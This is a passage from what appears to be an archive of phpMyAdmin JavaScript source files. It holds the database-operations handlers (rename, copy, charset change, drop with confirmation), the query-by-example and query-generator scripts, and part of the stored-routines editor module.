for 'Rename Database' */ $(document).on('submit', '#rename_db_form.ajax', function (event) { event.preventDefault(); if (Functions.emptyCheckTheField(this, 'newname')) { Functions.ajaxShowMessage(Messages.strFormEmpty, false, 'error'); return false; } var oldDbName = CommonParams.get('db'); var newDbName = $('#new_db_name').val(); if (newDbName === oldDbName) { Functions.ajaxShowMessage(Messages.strDatabaseRenameToSameName, false, 'error'); return false; } var $form = $(this); var question = Functions.escapeHtml('CREATE DATABASE ' + newDbName + ' / DROP DATABASE ' + oldDbName); Functions.prepareForAjaxRequest($form); $form.confirm(question, $form.attr('action'), function (url) { Functions.ajaxShowMessage(Messages.strRenamingDatabases, false); $.post(url, $('#rename_db_form').serialize() + CommonParams.get('arg_separator') + 'is_js_confirmed=1', function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); CommonParams.set('db', data.newname); Navigation.reload(function () { $('#pma_navigation_tree') .find('a:not(\'.expander\')') .each(function () { var $thisAnchor = $(this); if ($thisAnchor.text() === data.newname) { // simulate a click on the new db name // in navigation $thisAnchor.trigger('click'); } }); }); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() }); }); // end Rename Database /** * Ajax Event Handler for 'Copy Database' */ $(document).on('submit', '#copy_db_form.ajax', function (event) { event.preventDefault(); if (Functions.emptyCheckTheField(this, 'newname')) { Functions.ajaxShowMessage(Messages.strFormEmpty, false, 'error'); return false; } Functions.ajaxShowMessage(Messages.strCopyingDatabase, false); var $form = $(this); Functions.prepareForAjaxRequest($form); $.post($form.attr('action'), $form.serialize(), function (data) { // use messages that stay on screen $('.alert-success, .alert-danger').fadeOut(); if (typeof data !== 'undefined' && data.success === true) { if ($('#checkbox_switch').is(':checked')) { CommonParams.set('db', data.newname); CommonActions.refreshMain(false, function () { Functions.ajaxShowMessage(data.message); }); } else { CommonParams.set('db', data.db); Functions.ajaxShowMessage(data.message); } Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() }); // end copy database /** * Change tables columns visible only if change tables is checked */ $('#span_change_all_tables_columns_collations').hide(); $('#checkbox_change_all_tables_collations').on('click', function () { $('#span_change_all_tables_columns_collations').toggle(); }); /** * Ajax Event handler for 'Change Charset' of the database */ $(document).on('submit', '#change_db_charset_form.ajax', function (event) { event.preventDefault(); var $form = $(this); Functions.prepareForAjaxRequest($form); Functions.ajaxShowMessage(Messages.strChangingCharset); $.post($form.attr('action'), $form.serialize(), function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() }); // end change charset /** * Ajax event handlers for Drop Database */ $(document).on('click', '#drop_db_anchor.ajax', function (event) { event.preventDefault(); var $link = $(this); /** * @var {String} question String containing the question to be asked for confirmation */ var question = Messages.strDropDatabaseStrongWarning + ' '; question += Functions.sprintf( Messages.strDoYouReally, 'DROP DATABASE `' + Functions.escapeHtml(CommonParams.get('db') + '`') ); var params = Functions.getJsConfirmCommonParam(this, $link.getPostData()); $(this).confirm(question, $(this).attr('href'), function (url) { Functions.ajaxShowMessage(Messages.strProcessingRequest); $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success) { // Database deleted successfully, refresh both the frames Navigation.reload(); CommonParams.set('db', ''); CommonActions.refreshMain( 'index.php?route=/server/databases', function () { Functions.ajaxShowMessage(data.message); } ); } else { Functions.ajaxShowMessage(data.error, false); } }); }); }); }); src/database/qbe.js000066600000004710151724472050010221 0ustar00/** * @fileoverview function used in QBE for DB * @name Database Operations * * @requires jQuery * @requires jQueryUI * @requires js/functions.js * */ /** * Ajax event handlers here for /database/qbe * * Actions Ajaxified here: * Select saved search */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('database/qbe.js', function () { $(document).off('change', 'select[name^=criteriaColumn]'); $(document).off('change', '#searchId'); $(document).off('click', '#saveSearch'); $(document).off('click', '#updateSearch'); $(document).off('click', '#deleteSearch'); }); AJAX.registerOnload('database/qbe.js', function () { Functions.getSqlEditor($('#textSqlquery'), {}, 'none'); $('#tblQbe').width($('#tblQbe').parent().width()); $('#tblQbeFooters').width($('#tblQbeFooters').parent().width()); $('#tblQbe').on('resize', function () { var newWidthTblQbe = $('#textSqlquery').next().width(); $('#tblQbe').width(newWidthTblQbe); $('#tblQbeFooters').width(newWidthTblQbe); }); /** * Ajax handler to check the corresponding 'show' checkbox when column is selected */ $(document).on('change', 'select[name^=criteriaColumn]', function () { if ($(this).val()) { var index = (/\d+/).exec($(this).attr('name')); $('input[name=criteriaShow\\[' + index + '\\]]').prop('checked', true); } }); /** * Ajax event handlers for 'Select saved search' */ $(document).on('change', '#searchId', function () { $('#action').val('load'); $('#formQBE').trigger('submit'); }); /** * Ajax event handlers for 'Create bookmark' */ $(document).on('click', '#saveSearch', function () { $('#action').val('create'); }); /** * Ajax event handlers for 'Update bookmark' */ $(document).on('click', '#updateSearch', function () { $('#action').val('update'); }); /** * Ajax event handlers for 'Delete bookmark' */ $(document).on('click', '#deleteSearch', function () { var question = Functions.sprintf(Messages.strConfirmDeleteQBESearch, $('#searchId').find('option:selected').text()); if (!confirm(question)) { return false; } $('#action').val('delete'); }); var windowwidth = $(window).width(); $('.jsresponsive').css('max-width', (windowwidth - 35) + 'px'); }); src/database/query_generator.js000066600000011263151724472050012666 0ustar00/** * @fileoverview function used in QBE for DB * @name Database Operations * * @requires jQuery * @requires jQueryUI * @requires js/functions.js * */ /* global sprintf */ // js/vendor/sprintf.js function getFormatsText () { return { '=': ' = \'%s\'', '>': ' > \'%s\'', '>=': ' >= \'%s\'', '<': ' < \'%s\'', '<=': ' <= \'%s\'', '!=': ' != \'%s\'', 'LIKE': ' LIKE \'%s\'', 'LIKE %...%': ' LIKE \'%%%s%%\'', 'NOT LIKE': ' NOT LIKE \'%s\'', 'NOT LIKE %...%': ' NOT LIKE \'%%%s%%\'', 'BETWEEN': ' BETWEEN \'%s\'', 'NOT BETWEEN': ' NOT BETWEEN \'%s\'', 'IS NULL': ' \'%s\' IS NULL', 'IS NOT NULL': ' \'%s\' IS NOT NULL', 'REGEXP': ' REGEXP \'%s\'', 'REGEXP ^...$': ' REGEXP \'^%s$\'', 'NOT REGEXP': ' NOT REGEXP \'%s\'' }; } function generateCondition (criteriaDiv, table) { var query = '`' + Functions.escapeBacktick(table.val()) + '`.'; query += '`' + Functions.escapeBacktick(table.siblings('.columnNameSelect').first().val()) + '`'; if (criteriaDiv.find('.criteria_rhs').first().val() === 'text') { var formatsText = getFormatsText(); query += sprintf(formatsText[criteriaDiv.find('.criteria_op').first().val()], Functions.escapeSingleQuote(criteriaDiv.find('.rhs_text_val').first().val())); } else { query += ' ' + criteriaDiv.find('.criteria_op').first().val(); query += ' `' + Functions.escapeBacktick(criteriaDiv.find('.tableNameSelect').first().val()) + '`.'; query += '`' + Functions.escapeBacktick(criteriaDiv.find('.columnNameSelect').first().val()) + '`'; } return query; } // eslint-disable-next-line no-unused-vars function generateWhereBlock () { var count = 0; var query = ''; $('.tableNameSelect').each(function () { var criteriaDiv = $(this).siblings('.jsCriteriaOptions').first(); var useCriteria = $(this).siblings('.criteria_col').first(); if ($(this).val() !== '' && useCriteria.prop('checked')) { if (count > 0) { criteriaDiv.find('input.logical_op').each(function () { if ($(this).prop('checked')) { query += ' ' + $(this).val() + ' '; } }); } query += generateCondition(criteriaDiv, $(this)); count++; } }); return query; } function generateJoin (newTable, tableAliases, fk) { var query = ''; query += ' \n\tLEFT JOIN ' + '`' + Functions.escapeBacktick(newTable) + '`'; if (tableAliases[fk.TABLE_NAME][0] !== '') { query += ' AS `' + Functions.escapeBacktick(tableAliases[newTable][0]) + '`'; query += ' ON `' + Functions.escapeBacktick(tableAliases[fk.TABLE_NAME][0]) + '`'; } else { query += ' ON `' + Functions.escapeBacktick(fk.TABLE_NAME) + '`'; } query += '.`' + fk.COLUMN_NAME + '`'; if (tableAliases[fk.REFERENCED_TABLE_NAME][0] !== '') { query += ' = `' + Functions.escapeBacktick(tableAliases[fk.REFERENCED_TABLE_NAME][0]) + '`'; } else { query += ' = `' + Functions.escapeBacktick(fk.REFERENCED_TABLE_NAME) + '`'; } query += '.`' + fk.REFERENCED_COLUMN_NAME + '`'; return query; } function existReference (table, fk, usedTables) { var isReferredBy = fk.TABLE_NAME === table && usedTables.includes(fk.REFERENCED_TABLE_NAME); var isReferencedBy = fk.REFERENCED_TABLE_NAME === table && usedTables.includes(fk.TABLE_NAME); return isReferredBy || isReferencedBy; } function tryJoinTable (table, tableAliases, usedTables, foreignKeys) { for (var i = 0; i < foreignKeys.length; i++) { var fk = foreignKeys[i]; if (existReference(table, fk, usedTables)) { return generateJoin(table, tableAliases, fk); } } return ''; } function appendTable (table, tableAliases, usedTables, foreignKeys) { var query = tryJoinTable (table, tableAliases, usedTables, foreignKeys); if (query === '') { if (usedTables.length > 0) { query += '\n\t, '; } query += '`' + Functions.escapeBacktick(table) + '`'; if (tableAliases[table][0] !== '') { query += ' AS `' + Functions.escapeBacktick(tableAliases[table][0]) + '`'; } } usedTables.push(table); return query; } // eslint-disable-next-line no-unused-vars function generateFromBlock (tableAliases, foreignKeys) { var usedTables = []; var query = ''; for (var table in tableAliases) { if (tableAliases.hasOwnProperty(table)) { query += appendTable(table, tableAliases, usedTables, foreignKeys); } } return query; } src/database/routines.js000066600000127647151724472050011341 0ustar00AJAX.registerTeardown('database/routines.js', function () { $(document).off('click', 'a.ajax.add_anchor'); $(document).off('click', 'a.ajax.edit_anchor'); $(document).off('click', 'a.ajax.exec_anchor'); $(document).off('click', 'a.ajax.export_anchor'); $(document).off('click', '#bulkActionExportButton'); $(document).off('click', 'a.ajax.drop_anchor'); $(document).off('click', '#bulkActionDropButton'); $(document).off('change', 'select[name=item_type]'); $(document).off('change', 'select[name^=item_param_type]'); $(document).off('change', 'select[name=item_returntype]'); $(document).off('click', '#addRoutineParameterButton'); $(document).off('click', 'a.routine_param_remove_anchor'); }); const DatabaseRoutines = { /** * @var {string} paramTemplate Template for a row in the routine editor */ paramTemplate: '', /** * @var $ajaxDialog Query object containing the reference to the * dialog that contains the editor */ $ajaxDialog: null, /** * @var syntaxHiglighter Reference to the codemirror editor */ syntaxHiglighter: null, /** * Validate editor form fields. * * @return {bool} */ validate: function () { /** * @var $elm a jQuery object containing the reference * to an element that is being validated */ var $elm = null; // Common validation. At the very least the name // and the definition must be provided for an item $elm = $('table.rte_table').last().find('input[name=item_name]'); if ($elm.val() === '') { $elm.trigger('focus'); alert(Messages.strFormEmpty); return false; } $elm = $('table.rte_table').find('textarea[name=item_definition]'); if ($elm.val() === '') { if (this.syntaxHiglighter !== null) { this.syntaxHiglighter.focus(); } else { $('textarea[name=item_definition]').last().trigger('focus'); } alert(Messages.strFormEmpty); return false; } // The validation has so far passed, so now // we can validate item-specific fields. return this.validateCustom(); }, exportDialog: function ($this) { var $msg = Functions.ajaxShowMessage(); if ($this.attr('id') === 'bulkActionExportButton') { var combined = { success: true, title: Messages.strExport, message: '', error: '' }; // export anchors of all selected rows var exportAnchors = $('input.checkall:checked').parents('tr').find('.export_anchor'); var count = exportAnchors.length; var returnCount = 0; // No routine is exportable (due to privilege issues) if (count === 0) { Functions.ajaxShowMessage(Messages.NoExportable); } var p = $.when(); exportAnchors.each(function () { var h = $(this).attr('href'); p = p.then(function () { return $.get(h, { 'ajax_request': true }, function (data) { returnCount++; if (data.success === true) { combined.message += '\n' + data.message + '\n'; if (returnCount === count) { showExport(combined); } } else { // complain even if one export is failing combined.success = false; combined.error += '\n' + data.error + '\n'; if (returnCount === count) { showExport(combined); } } }); }); }); } else { $.get($this.attr('href'), { 'ajax_request': true }, showExport); } Functions.ajaxRemoveMessage($msg); function showExport (data) { if (data.success === true) { Functions.ajaxRemoveMessage($msg); /** * @var buttonOptions Object containing options * for jQueryUI dialog buttons */ var buttonOptions = { [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-primary', click: function () { $(this).dialog('close').remove(); } }, }; /** * Display the dialog to the user */ data.message = ''; var $ajaxDialog = $('
        ' + data.message + '
        ').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 500, buttons: buttonOptions, title: data.title }); // Attach syntax highlighted editor to export dialog /** * @var $elm jQuery object containing the reference * to the Export textarea. */ var $elm = $ajaxDialog.find('textarea'); Functions.getSqlEditor($elm); } else { Functions.ajaxShowMessage(data.error, false); } } // end showExport() }, // end exportDialog() editorDialog: function (isNew, $this) { var that = this; /** * @var $edit_row jQuery object containing the reference to * the row of the the item being edited * from the list of items */ var $editRow = null; if ($this.hasClass('edit_anchor')) { // Remember the row of the item being edited for later, // so that if the edit is successful, we can replace the // row with info about the modified item. $editRow = $this.parents('tr'); } /** * @var $msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(); $.get($this.attr('href'), { 'ajax_request': true }, function (data) { if (data.success === true) { var buttonOptions = { [Messages.strGo]: { text: Messages.strGo, class: 'btn btn-primary', }, [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-secondary', }, }; // We have successfully fetched the editor form Functions.ajaxRemoveMessage($msg); // Now define the function that is called when // the user presses the "Go" button buttonOptions[Messages.strGo].click = function () { // Move the data from the codemirror editor back to the // textarea, where it can be used in the form submission. if (typeof CodeMirror !== 'undefined') { that.syntaxHiglighter.save(); } // Validate editor and submit request, if passed. if (that.validate()) { /** * @var data Form data to be sent in the AJAX request */ var data = $('form.rte_form').last().serialize(); $msg = Functions.ajaxShowMessage( Messages.strProcessingRequest ); var url = $('form.rte_form').last().attr('action'); $.post(url, data, function (data) { if (data.success === true) { // Item created successfully Functions.ajaxRemoveMessage($msg); Functions.slidingMessage(data.message); that.$ajaxDialog.dialog('close'); var tableId = '#' + data.tableType + 'Table'; // If we are in 'edit' mode, we must // remove the reference to the old row. if (mode === 'edit' && $editRow !== null) { $editRow.remove(); } // Sometimes, like when moving a trigger from // a table to another one, the new row should // not be inserted into the list. In this case // "data.insert" will be set to false. if (data.insert) { // Insert the new row at the correct // location in the list of items /** * @var text Contains the name of an item from * the list that is used in comparisons * to find the correct location where * to insert a new row. */ var text = ''; /** * @var inserted Whether a new item has been * inserted in the list or not */ var inserted = false; $(tableId + '.data').find('tr').each(function () { text = $(this) .children('td') .eq(0) .find('strong') .text() .toUpperCase() .trim(); if (text !== '' && text > data.name) { $(this).before(data.new_row); inserted = true; return false; } }); if (! inserted) { // If we didn't manage to insert the row yet, // it must belong at the end of the list, // so we insert it there. $(tableId + '.data').append(data.new_row); } // Fade-in the new row $('tr.ajaxInsert') .show('slow') .removeClass('ajaxInsert'); } else if ($(tableId + '.data').find('tr').has('td').length === 0) { // If we are not supposed to insert the new row, // we will now check if the table is empty and // needs to be hidden. This will be the case if // we were editing the only item in the list, // which we removed and will not be inserting // something else in its place. $(tableId + '.data').hide('slow', function () { $('#nothing2display').show('slow'); }); } // Now we have inserted the row at the correct // position, but surely at least some row classes // are wrong now. So we will iterate through // all rows and assign correct classes to them /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $(tableId + '.data').find('tr').has('td').each(function () { rowclass = (ct % 2 === 0) ? 'odd' : 'even'; $(this).removeClass('odd even').addClass(rowclass); ct++; }); // If this is the first item being added, remove // the "No items" message and show the list. if ($(tableId + '.data').find('tr').has('td').length > 0 && $('#nothing2display').is(':visible') ) { $('#nothing2display').hide('slow', function () { $(tableId + '.data').show('slow'); }); } Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() } // end "if (that.validate())" }; // end of function that handles the submission of the Editor buttonOptions[Messages.strClose].click = function () { $(this).dialog('close'); }; /** * Display the dialog to the user */ that.$ajaxDialog = $('
        ' + data.message + '
        ').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, height: 400, width: 700, minWidth: 500, buttons: buttonOptions, // Issue #15810 - use button titles for modals (eg: new procedure) // Respect the order: title on href tag, href content, title sent in response title: $this.attr('title') || $this.text() || $(data.title).text(), modal: true, open: function () { $('#rteDialog').dialog('option', 'max-height', $(window).height()); if ($('#rteDialog').parents('.ui-dialog').height() > $(window).height()) { $('#rteDialog').dialog('option', 'height', $(window).height()); } $(this).find('input[name=item_name]').trigger('focus'); $(this).find('input.datefield').each(function () { Functions.addDatepicker($(this).css('width', '95%'), 'date'); }); $(this).find('input.datetimefield').each(function () { Functions.addDatepicker($(this).css('width', '95%'), 'datetime'); }); $.datepicker.initialized = false; }, close: function () { $(this).remove(); } }); /** * @var mode Used to remember whether the editor is in * "Edit" or "Add" mode */ var mode = 'add'; if ($('input[name=editor_process_edit]').length > 0) { mode = 'edit'; } // Attach syntax highlighted editor to the definition /** * @var elm jQuery object containing the reference to * the Definition textarea. */ var $elm = $('textarea[name=item_definition]').last(); var linterOptions = {}; linterOptions.routineEditor = true; that.syntaxHiglighter = Functions.getSqlEditor($elm, {}, 'both', linterOptions); // Execute item-specific code that.postDialogShow(data); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.get() }, dropDialog: function ($this) { /** * @var $curr_row Object containing reference to the current row */ var $currRow = $this.parents('tr'); /** * @var question String containing the question to be asked for confirmation */ var question = $('
        ').text( $currRow.children('td').children('.drop_sql').html() ); // We ask for confirmation first here, before submitting the ajax request $this.confirm(question, $this.attr('href'), function (url) { /** * @var msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); var params = Functions.getJsConfirmCommonParam(this, $this.getPostData()); $.post(url, params, function (data) { if (data.success === true) { /** * @var $table Object containing reference * to the main list of elements */ var $table = $currRow.parent().parent(); // Check how many rows will be left after we remove // the one that the user has requested us to remove if ($table.find('tr').length === 3) { // If there are two rows left, it means that they are // the header of the table and the rows that we are // about to remove, so after the removal there will be // nothing to show in the table, so we hide it. $table.hide('slow', function () { $(this).find('tr.even, tr.odd').remove(); $('.withSelected').remove(); $('#nothing2display').show('slow'); }); } else { $currRow.hide('slow', function () { $(this).remove(); // Now we have removed the row from the list, but maybe // some row classes are wrong now. So we will iterate // through all rows and assign correct classes to them. /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $table.find('tr').has('td').each(function () { rowclass = (ct % 2 === 1) ? 'odd' : 'even'; $(this).removeClass('odd even').addClass(rowclass); ct++; }); }); } // Get rid of the "Loading" message Functions.ajaxRemoveMessage($msg); // Show the query that we just executed Functions.slidingMessage(data.sql_query); Navigation.reload(); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() }); }, dropMultipleDialog: function ($this) { // We ask for confirmation here $this.confirm(Messages.strDropRTEitems, '', function () { /** * @var msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); // drop anchors of all selected rows var dropAnchors = $('input.checkall:checked').parents('tr').find('.drop_anchor'); var success = true; var count = dropAnchors.length; var returnCount = 0; dropAnchors.each(function () { var $anchor = $(this); /** * @var $curr_row Object containing reference to the current row */ var $currRow = $anchor.parents('tr'); var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData()); $.post($anchor.attr('href'), params, function (data) { returnCount++; if (data.success === true) { /** * @var $table Object containing reference * to the main list of elements */ var $table = $currRow.parent().parent(); // Check how many rows will be left after we remove // the one that the user has requested us to remove if ($table.find('tr').length === 3) { // If there are two rows left, it means that they are // the header of the table and the rows that we are // about to remove, so after the removal there will be // nothing to show in the table, so we hide it. $table.hide('slow', function () { $(this).find('tr.even, tr.odd').remove(); $('.withSelected').remove(); $('#nothing2display').show('slow'); }); } else { $currRow.hide('fast', function () { // we will iterate // through all rows and assign correct classes to them. /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $table.find('tr').has('td').each(function () { rowclass = (ct % 2 === 1) ? 'odd' : 'even'; $(this).removeClass('odd even').addClass(rowclass); ct++; }); }); $currRow.remove(); } if (returnCount === count) { if (success) { // Get rid of the "Loading" message Functions.ajaxRemoveMessage($msg); $('#rteListForm_checkall').prop({ checked: false, indeterminate: false }); } Navigation.reload(); } } else { Functions.ajaxShowMessage(data.error, false); success = false; if (returnCount === count) { Navigation.reload(); } } }); // end $.post() }); // end drop_anchors.each() }); }, /** * Execute some code after the ajax dialog for the editor is shown. * * @param data JSON-encoded data from the ajax request */ postDialogShow: function (data) { // Cache the template for a parameter table row DatabaseRoutines.paramTemplate = data.paramTemplate; var that = this; // Make adjustments in the dialog to make it AJAX compatible $('td.routine_param_remove').show(); // Enable/disable the 'options' dropdowns for parameters as necessary $('table.routine_params_table').last().find('th[colspan=2]').attr('colspan', '1'); $('table.routine_params_table').last().find('tr').has('td').each(function () { that.setOptionsForParameter( $(this).find('select[name^=item_param_type]'), $(this).find('input[name^=item_param_length]'), $(this).find('select[name^=item_param_opts_text]'), $(this).find('select[name^=item_param_opts_num]') ); }); // Enable/disable the 'options' dropdowns for // function return value as necessary this.setOptionsForParameter( $('table.rte_table').last().find('select[name=item_returntype]'), $('table.rte_table').last().find('input[name=item_returnlength]'), $('table.rte_table').last().find('select[name=item_returnopts_text]'), $('table.rte_table').last().find('select[name=item_returnopts_num]') ); // Allow changing parameter order $('.routine_params_table tbody').sortable({ containment: '.routine_params_table tbody', handle: '.dragHandle', stop: function () { that.reindexParameters(); }, }); }, /** * Reindexes the parameters after dropping a parameter or reordering parameters */ reindexParameters: function () { /** * @var index Counter used for reindexing the input * fields in the routine parameters table */ var index = 0; $('table.routine_params_table tbody').find('tr').each(function () { $(this).find(':input').each(function () { /** * @var inputname The value of the name attribute of * the input field being reindexed */ var inputname = $(this).attr('name'); if (inputname.substr(0, 14) === 'item_param_dir') { $(this).attr('name', inputname.substr(0, 14) + '[' + index + ']'); } else if (inputname.substr(0, 15) === 'item_param_name') { $(this).attr('name', inputname.substr(0, 15) + '[' + index + ']'); } else if (inputname.substr(0, 15) === 'item_param_type') { $(this).attr('name', inputname.substr(0, 15) + '[' + index + ']'); } else if (inputname.substr(0, 17) === 'item_param_length') { $(this).attr('name', inputname.substr(0, 17) + '[' + index + ']'); $(this).attr('id', 'item_param_length_' + index); } else if (inputname.substr(0, 20) === 'item_param_opts_text') { $(this).attr('name', inputname.substr(0, 20) + '[' + index + ']'); } else if (inputname.substr(0, 19) === 'item_param_opts_num') { $(this).attr('name', inputname.substr(0, 19) + '[' + index + ']'); } }); index++; }); }, /** * Validate custom editor form fields. * * @return {bool} */ validateCustom: function () { /** * @var isSuccess Stores the outcome of the validation */ var isSuccess = true; /** * @var inputname The value of the "name" attribute for * the field that is being processed */ var inputname = ''; this.$ajaxDialog.find('table.routine_params_table').last().find('tr').each(function () { // Every parameter of a routine must have // a non-empty direction, name and type if (isSuccess) { $(this).find(':input').each(function () { inputname = $(this).attr('name'); if (inputname.substr(0, 14) === 'item_param_dir' || inputname.substr(0, 15) === 'item_param_name' || inputname.substr(0, 15) === 'item_param_type') { if ($(this).val() === '') { $(this).trigger('focus'); isSuccess = false; return false; } } }); } else { return false; } }); if (! isSuccess) { alert(Messages.strFormEmpty); return false; } this.$ajaxDialog.find('table.routine_params_table').last().find('tr').each(function () { // SET, ENUM, VARCHAR and VARBINARY fields must have length/values var $inputtyp = $(this).find('select[name^=item_param_type]'); var $inputlen = $(this).find('input[name^=item_param_length]'); if ($inputtyp.length && $inputlen.length) { if (($inputtyp.val() === 'ENUM' || $inputtyp.val() === 'SET' || $inputtyp.val().substr(0, 3) === 'VAR') && $inputlen.val() === '' ) { $inputlen.trigger('focus'); isSuccess = false; return false; } } }); if (! isSuccess) { alert(Messages.strFormEmpty); return false; } if (this.$ajaxDialog.find('select[name=item_type]').find(':selected').val() === 'FUNCTION') { // The length/values of return variable for functions must // be set, if the type is SET, ENUM, VARCHAR or VARBINARY. var $returntyp = this.$ajaxDialog.find('select[name=item_returntype]'); var $returnlen = this.$ajaxDialog.find('input[name=item_returnlength]'); if (($returntyp.val() === 'ENUM' || $returntyp.val() === 'SET' || $returntyp.val().substr(0, 3) === 'VAR') && $returnlen.val() === '' ) { $returnlen.trigger('focus'); alert(Messages.strFormEmpty); return false; } } if ($('select[name=item_type]').find(':selected').val() === 'FUNCTION') { // A function must contain a RETURN statement in its definition if (this.$ajaxDialog.find('table.rte_table').find('textarea[name=item_definition]').val().toUpperCase().indexOf('RETURN') < 0) { this.syntaxHiglighter.focus(); alert(Messages.MissingReturn); return false; } } return true; }, /** * Enable/disable the "options" dropdown and "length" input for * parameters and the return variable in the routine editor * as necessary. * * @param $type a jQuery object containing the reference * to the "Type" dropdown box * @param $len a jQuery object containing the reference * to the "Length" input box * @param $text a jQuery object containing the reference * to the dropdown box with options for * parameters of text type * @param $num a jQuery object containing the reference * to the dropdown box with options for * parameters of numeric type */ setOptionsForParameter: function ($type, $len, $text, $num) { /** * @var no_opts a jQuery object containing the reference * to an element to be displayed when no * options are available */ var $noOpts = $text.parent().parent().find('.no_opts'); /** * @var no_len a jQuery object containing the reference * to an element to be displayed when no * "length/values" field is available */ var $noLen = $len.parent().parent().find('.no_len'); // Process for parameter options switch ($type.val()) { case 'TINYINT': case 'SMALLINT': case 'MEDIUMINT': case 'INT': case 'BIGINT': case 'DECIMAL': case 'FLOAT': case 'DOUBLE': case 'REAL': $text.parent().hide(); $num.parent().show(); $noOpts.hide(); break; case 'TINYTEXT': case 'TEXT': case 'MEDIUMTEXT': case 'LONGTEXT': case 'CHAR': case 'VARCHAR': case 'SET': case 'ENUM': $text.parent().show(); $num.parent().hide(); $noOpts.hide(); break; default: $text.parent().hide(); $num.parent().hide(); $noOpts.show(); break; } // Process for parameter length switch ($type.val()) { case 'DATE': case 'TINYBLOB': case 'TINYTEXT': case 'BLOB': case 'TEXT': case 'MEDIUMBLOB': case 'MEDIUMTEXT': case 'LONGBLOB': case 'LONGTEXT': $text.closest('tr').find('a').first().hide(); $len.parent().hide(); $noLen.show(); break; default: if ($type.val() === 'ENUM' || $type.val() === 'SET') { $text.closest('tr').find('a').first().show(); } else { $text.closest('tr').find('a').first().hide(); } $len.parent().show(); $noLen.hide(); break; } }, executeDialog: function ($this) { /** * @var msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(); var params = Functions.getJsConfirmCommonParam($this[0], $this.getPostData()); $.post($this.attr('href'), params, function (data) { if (data.success === true) { Functions.ajaxRemoveMessage($msg); // If 'data.dialog' is true we show a dialog with a form // to get the input parameters for routine, otherwise // we just show the results of the query if (data.dialog) { var buttonOptions = { [Messages.strGo]: { text: Messages.strGo, class: 'btn btn-primary', }, [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-secondary', }, }; // Define the function that is called when // the user presses the "Go" button buttonOptions[Messages.strGo].click = function () { /** * @var data Form data to be sent in the AJAX request */ var data = $('form.rte_form').last().serialize(); $msg = Functions.ajaxShowMessage( Messages.strProcessingRequest ); $.post('index.php?route=/database/routines', data, function (data) { if (data.success === true) { // Routine executed successfully Functions.ajaxRemoveMessage($msg); Functions.slidingMessage(data.message); $ajaxDialog.dialog('close'); } else { Functions.ajaxShowMessage(data.error, false); } }); }; buttonOptions[Messages.strClose].click = function () { $(this).dialog('close'); }; /** * Display the dialog to the user */ var $ajaxDialog = $('
        ' + data.message + '
        ').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 650, buttons: buttonOptions, title: data.title, modal: true, close: function () { $(this).remove(); } }); $ajaxDialog.find('input[name^=params]').first().trigger('focus'); /** * Attach the datepickers to the relevant form fields */ $ajaxDialog.find('input.datefield, input.datetimefield').each(function () { Functions.addDatepicker($(this).css('width', '95%')); }); /* * Define the function if the user presses enter */ $('form.rte_form').on('keyup', function (event) { event.preventDefault(); if (event.keyCode === 13) { /** * @var data Form data to be sent in the AJAX request */ var data = $(this).serialize(); $msg = Functions.ajaxShowMessage( Messages.strProcessingRequest ); var url = $(this).attr('action'); $.post(url, data, function (data) { if (data.success === true) { // Routine executed successfully Functions.ajaxRemoveMessage($msg); Functions.slidingMessage(data.message); $('form.rte_form').off('keyup'); $ajaxDialog.remove(); } else { Functions.ajaxShowMessage(data.error, false); } }); } }); } else { // Routine executed successfully Functions.slidingMessage(data.message); } } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() } }; AJAX.registerOnload('database/routines.js', function () { $(document).on('click', 'a.ajax.add_anchor', function (event) { event.preventDefault(); $.datepicker.initialized = false; DatabaseRoutines.editorDialog(true, $(this)); }); $(document).on('click', 'a.ajax.edit_anchor', function (event) { event.preventDefault(); DatabaseRoutines.editorDialog(false, $(this)); }); $(document).on('click', 'a.ajax.exec_anchor', function (event) { event.preventDefault(); DatabaseRoutines.executeDialog($(this)); }); $(document).on('click', 'a.ajax.export_anchor', function (event) { event.preventDefault(); DatabaseRoutines.exportDialog($(this)); }); $(document).on('click', '#bulkActionExportButton', function (event) { event.preventDefault(); DatabaseRoutines.exportDialog($(this)); }); $(document).on('click', 'a.ajax.drop_anchor', function (event) { event.preventDefault(); DatabaseRoutines.dropDialog($(this)); }); $(document).on('click', '#bulkActionDropButton', function (event) { event.preventDefault(); DatabaseRoutines.dropMultipleDialog($(this)); }); $(document).on('change', 'select[name=item_type]', function () { $(this).closest('table').find('tr.routine_return_row, .routine_direction_cell').toggle(); }); $(document).on('change', 'select[name^=item_param_type]', function () { const $row = $(this).parents('tr').first(); DatabaseRoutines.setOptionsForParameter( $row.find('select[name^=item_param_type]'), $row.find('input[name^=item_param_length]'), $row.find('select[name^=item_param_opts_text]'), $row.find('select[name^=item_param_opts_num]') ); }); $(document).on('change', 'select[name=item_returntype]', function () { const $table = $(this).closest('table.rte_table'); DatabaseRoutines.setOptionsForParameter( 